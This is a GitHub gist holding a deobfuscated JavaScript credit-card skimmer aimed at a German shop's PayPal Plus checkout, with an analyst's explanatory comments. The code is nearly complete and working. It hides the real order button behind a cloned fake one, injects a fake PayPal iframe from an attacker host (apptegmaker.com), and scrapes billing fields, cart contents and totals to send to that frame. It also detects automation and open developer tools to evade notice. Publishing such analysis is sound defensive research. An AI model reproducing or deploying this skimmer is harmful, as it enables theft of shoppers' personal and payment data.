Skip to content

Instantly share code, notes, and snippets.

@krautface
Created November 29, 2020 07:50
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save krautface/933b050eb363e20cf1bc925c87a9290f to your computer and use it in GitHub Desktop.
Save krautface/933b050eb363e20cf1bc925c87a9290f to your computer and use it in GitHub Desktop.
paypal-cors-deob-with-comments.js
/*
https://apptegmaker.com/GALLQPPDA00203GX/PEG002RA3JA/?verid=Z2V0X2NvbnRlbnQ
*/
// removed rc4 function
// see var b = function (c, d)
/*
c = "/GALLQPPDA00203GX/PEG002RA3JA/"
d = ''
e = false
*/
(function (c, d, e, f)
{
var g = window,
h, i;
var j = []['slice'];
var k = [],
l = function ()
{
var u = j['call'](arguments, 0x0);
k['push'](u['join'](''));
};
// check to see if this has loaded or if it's not on the right page, or if it's being automated
if (!e && window['localStorage']['getItem']('s00001') || window['JASSACKPOW'] || !~location['href']['search']('/onepage') || navigator['webdriver'] === !![]) return;
window['JASSACKPOW'] = 0x1;
// returns true if item is not undefined
var m = function (u)
{
return typeof u !== 'undefined';
};
// Disable console
if (!m(window['console']))
{
window['console'] = {
'log': function () {}
};
}
// normSpaces replaces any segment of two or more whitespaces with a single space
String['prototype']['normSpaces'] = function ()
{
return this['replace'](/\s{2,}/gi, ' ');
};
// Defines trim
String['prototype']['trim'] || (String['prototype']['trim'] = function ()
{
return this['replace'](/^\s+|\s+$/g, '');
});
// Adds delayedCall to faciliate easier delayed function calls
Function['prototype']['delayedCall'] = function (u)
{
setTimeout(this, u);
return this;
};
// Some random something
Number['prototype']['randomTo'] = function (u)
{
return Math['round'](!isNaN(u) ? this + Math['random']() * (u - this) : Math['random']() * this);
};
/*
creates loading(?) screen for paypal
example outputs of the following:
n = "tfj3vxug22n4ctrm"
o = "ARNDOKVB26ZO"
p = "BVS6HLUKUQ3"
q = "<style id="ARNDOKVB26ZO">html.ppp-loading{width:100%;height:100%}html.ppp-loading body{overflow:hidden !important;height:100%;} .ppp-hide { position: absolute; left: -999999px; z-index: -9999;} div#tfj3vxug22n4ctrm{background-color:white;position:fixed !important;top:0;left:0;bottom:0;right:0; z-index:999999999;} #tfj3vxug22n4ctrm{float:left;width:100%; display: none; z-index: 999999999;} #tfj3vxug22n4ctrm iframe {width:100%; height: 100%; outline: none; border: none; z-index: 999999999;}</style>"
*/
var n = 'tf' + Math['random']()['toString'](0x24)['substring'](0x2, 0xf) + 'trm',
o = 'A' + Math['random']()['toString'](0x24)['substring'](0x2, 0xf)['toUpperCase'](),
p = 'B' + Math['random']()['toString'](0x24)['substring'](0x2, 0xf)['toUpperCase'](),
q = '<style id=\"' + o + ('">html.ppp-loading{width:100%;height:100%}html.ppp-loading body{overflow:hidden !important;height:100%;} .ppp-hide { position: absolute; left: -999999px; z-index: -9999;} div#') + n + ('{background-color:white;position:fixed !important;top:0;left:0;bottom:0;right:0; z-index:999999999;} #') + n + ('{float:left;width:100%; display: none; z-index: 999999999;} #') + n + (' iframe {width:100%; height: 100%; outline: none; border: none; z-index: 999999999;}</style>');
// Boilerplate anti-RE devtools stuff
// REMOVED - see var r = function
// start things off
var s = function ()
{
var u = window['jQuery'],
v = u;
console.log('document ready');
// remove fake payal
var w = function (J)
{
console.log('__removeFake: ');
h = true;
if (!J)
{
var K = jQuery('#' + o);
if (K[0])
{
K['remove']();
}
}
var L = jQuery('#' + n);
if (L[0])
{
L['remove']();
}
jQuery('.ppp-hide')['removeClass']('ppp-hide');
jQuery('html')['removeClass']('ppp-loading');
jQuery('#pm-checkout')['remove']();
};
// inject fake paypal
var x = function (J)
{
// verid = get_content
J = "https://apptegmaker.com/GALLQPPDA00203GX/PEG002RA3JA/?verid=Z2V0X2NvbnRlbnQ"
// J = J || 'https://'['concat']('ap', 'pte', 'gm', 'ak', 'e', 'r', '.co', 'm', c, '?ver', 'id=', 'Z2V0X2', 'NvbnRlbnQ');
console.log('__injectFake: ' + J)
// check for loading style defined above,
// if not present append to head
var K = jQuery('#' + o);
if (!K[0x0])
{
jQuery('head')['append'](q);
}
// check for a div containing fake paypal, if it doesn't exist, add it
var L = jQuery('#' + n);
if (!L[0x0])
{
jQuery('<div id="' + n + '"><iframe src="' + J + '" id="' + p + '"></iframe></div>')['appendTo']('body');
}
};
// post message K after L time - Assuming J is window?
var y = function (J, K, L)
{
console.log('posting wnd message: ', K);
setTimeout(function ()
{
J && J['postMessage'] && J['postMessage'](K, '*'); // * = targetOrigin
}, L || 0x1);
};
// send and receive messages
// J is likely postMessage receive event
var z = function (J)
{
console.log('received wnd message: ', J['data']);
switch (J['data'])
{
case 'c00001':
console.log('c00001');
window['localStorage']['setItem']('s00001', 1);
I(); // call w() which removes fake
break;
case 's00000':
var K = jQuery('#' + p)[0x0]; // find iframe by ID
// if it exists
if (K && K['contentWindow']) {
// after 2 seconds send 'TLCE_i00001:: i - which can contain the billing address and other details
y(K['contentWindow'], 'TLCE_i00001::' + (i || ''), 2000);
}
break;
case 's00001':
console.log('s00001');
window['localStorage']['setItem']('s00001', 1);
// click the order button?
jQuery('#order-button')['eq'](0x0)[0x0]['click']();
break;
case 's00002':
// remove
jQuery('html')['removeClass']('ppp-loading');
// hide div containing fake iframe
jQuery('#' + n)['hide']();
jQuery('[id^="trustbadge-container"]')['removeClass']('ppp-hide');
IWD['OPC']['Checkout']['hideLoader']();
break;
default:
}
};
// function to add event listeners
var A = function (J, K)
{
if (window['addEventListener'])
{
window['addEventListener'](J, K);
}
else
{
window['attachEvent']('on' + J, K);
}
};
// on message event, call "z" which is the function that handles messages
A('message', z);
// on "AKSDO0039123" event, do nothing
A('AKSDO0039123', function (J) {});
// A weird attempt at getting a string that probably is already pretty gettable - not sure
function B(J)
{
var K = document['createElement']('textarea');
K['innerHTML'] = J;
return K['value'];
}
// J is a callback
function C(J)
{
// Retrieve the PayPal Plus config
var K = window['ppp']['getValidatedConfig']();
var L = {
'url': 'https://cors-anywhere.herokuapp.com/https://www.paypal.com/paymentwall/payment-selection',
'method': 'POST',
'timeout': 0,
'data':
{
'ecToken': window['ppp']['token'], // PayPal Plus Token
'continueButton': 'outside',
'surcharging': 'false',
'country': K['country'], // PayPal Plus country
'language': K['language'], // PayPal Plus Language
'styles': '',
'showPuiOnSandbox': 'false'
}
};
u['ajax'](L)['done'](function (M)
{
try
{
M = B(M); // get a string version of the response
M = M['match'](/paymentMethodRow row [selected]*"id="(.*?)" data-pm="(.*?)">/gm)['map'](function (N)
{
var O = N['match'](/id="(.*?)" data-pm="(.*?)"/);
return {
'id': O[0x1],
'name': O[0x2]
};
});
J(M); // Pass data, apparently an array of IDs and Names from the Paymentwall, to the callback
}
catch (N)
{
J();
}
});
}
// Used to grab the products in the cart
function D()
{
var J = '';
jQuery('.col-main script')['each'](function ()
{
if (J['length']) return;
var K = jQuery(this)['text']();
K = K['match'](/'ec:addProduct', ({\n((\t|.)+\n){8})/g);
if (!K) return;
J = K;
});
J = J['map'](function (K)
{
return JSON['parse'](K['replace']('ec:addProduct', ', ')['replace'](/(\n|\t)+/g, '')['slice'](0x0, -0x2)['replace'](/'/g, '\"'));
});
return J;
}
function E()
{
// Gathers all the input fields from the billing form
var J = F(jQuery('#co-billing-form'));
Object['keys'](J)['forEach'](function (K)
{
var L = K['match'](/billing\[(.*?)\]/);
if (!L) return ![];
L = L[0x1];
J[L] = J[K];
delete J[K];
});
// get rid of unwanted fields
['address_id', 'confirm_password', 'create_account', 'customer_password', 'day', 'month', 'prefix', 'region', 'save_in_address_book', 'use_for_shipping', 'year', '']['forEach'](function (K)
{
delete J[K];
});
J = {
'shipping': J
};
// get the total, tax (steuer), shipping (versand) - interesting that they kept the German names
J['total'] = jQuery('#checkout-review-table tfoot tr:last .price')['text']()['trim']()['replace'](/[^\d,]/g, '');
J['steuer'] = jQuery('#checkout-review-table tfoot tr.summary-total .price')['text']()['trim']()['replace'](/[^\d,]/g, '');
J['versand'] = jQuery('#checkout-review-table tr:contains("Versand") .price')['text']()['trim']()['replace'](/[^\d,]/g, '');
J['cart'] = D();
return J;
}
// Gathers input fields from the billing form
function F(J, K)
{
K = K || {};
J['find']('input, select')['each'](function (L, M)
{
var N = M['value'];
if (jQuery(M)['prop']('nodeName') == 'SELECT') N = jQuery(M)['find']('option:selected')['text']();
if (K[M['name']]) K[M['name']] += ' ' + N;
else K[M['name']] = N;
});
return K;
}
// Calls E() which grabs the fields from the billing form
// then storms them in localStorage as `bill_addr`
function G()
{
var J = E();
if (J)
{
window['localStorage']['setItem']('bill_addr', JSON['stringify'](J));
}
else
{
J = window['localStorage']['getItem']('bill_addr');
J && (J = JSON['parse'](J));
}
if (!J) return console.log(' Billing parse failed! Aborting.');
// create an object with the billing information, part of the fake iframe URL, and the victim site
i = JSON['stringify'](
{
'BD': J,
'GA': c + ('?verid=c2V0X2RhdGE'), // c = "/GALLQPPDA00203GX/PEG002RA3JA/
'COMPNM': 'www.cw-mobile.de'
});
// send a message to the iframe
// s00000 = send billing data to iframe
z(
{
'data': 's00000'
});
}
function H()
{
console.log('Initializing Fake');
// attempting to abort if dev console is open
if (!e && r['isOpen'])
{
console.log(' Devconsole opened!');
return !![];
}
var J = function ()
{
// if there's not an order button, wait 100ms and try again
if (!jQuery('#order-button')['length']) return J['delayedCall'](100);
// hide the order button, then clone it
// with that clone, remove these classes, then set the onclick attribute to null
// then set the type attribute to button and the id to #pm-checkout, and insert it after the original order button
jQuery('#order-button')['addClass']('ppp-hide')['clone']()['removeClass']('ppp-hide btn-checkout opc-btn-checkout')['attr']('onclick', null)['attr']('type', 'button')['attr']('id', 'pm-checkout')['insertAfter']('#order-button');
// add onclick function to new pm-checkout button
jQuery('body')['on']('click', '#pm-checkout', function (K)
{
// if the iframe isn't present, or s00001 in localStorage is set, click original order button
if (!jQuery('#' + n)['length'] || window['localStorage']['getItem']('s00001')) return jQuery('#order-button')['eq'](0x0)[0x0]['click']();
// prevent the default event
K['preventDefault']();
var L = false;
// $j_opc is (I believe) the jQuery that comes with IWD's One Page Checkout
$j_opc('#checkout-agreements input[name*="agreement"]')['each'](function ()
{
if (!$j_opc(this)['is'](':checked'))
{
L = true;
}
});
// Now it appears to be doing various form validation - is this just reimplemneting what would have happened?
if (L)
{
IWD['OPC']['showMessage']($j_opc('#agree_error')['html']());
return false;
}
var M = new VarienForm('opc-address-form-billing');
if (!M['validator']['validate']())
{
return;
}
if (!$j_opc('input[name="billinwindow[use_for_shipping]"]')['prop']('checked'))
{
var M = new VarienForm('opc-address-form-shipping');
if (!M['validator']['validate']())
{
return;
}
}
if (!IWD['OPC']['Shipping']['validateShippingMethod']())
{
return IWD['OPC']['showMessage']($j_opc('#pssm_msg')['html']());
}
// if everything is validated, exfil the address / PII to the iframe via postMessage
G();
IWD['OPC']['Checkout']['showLoader']();
// TBD
C(function (N)
{
if (N['filter'](function (O)
{
return O['name'] == 'Credit_Card' && O['id'] == window['ppp']['getPaymentMethod']();
})['length'] === 0x0) return jQuery('#order-button')['eq'](0x0)[0x0]['click']();
setTimeout(function ()
{
l(' Data Collected: ', i);
jQuery('[id^="trustbadge-container"]')['addClass']('ppp-hide');
jQuery('html')['addClass']('ppp-loading');
jQuery('#' + n)['show']();
}, 0x3e8['randomTo'](0x9c4));
});
return false;
});
};
J(); // create the fake order button
x(); // inject fake paypal iframe
}
function I()
{
console.log('Removing Fake');
w();
}
H['delayedCall'](1);
};
var t = function ()
{
// if jQuery hasn't be loaded yet, try again in 300ms
if (!window['jQuery']) return t['delayedCall'](300);
console.log('waitReadiness: Ready.');
s();
};
t();
}('/GALLQPPDA00203GX/PEG002RA3JA/', '', false));
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment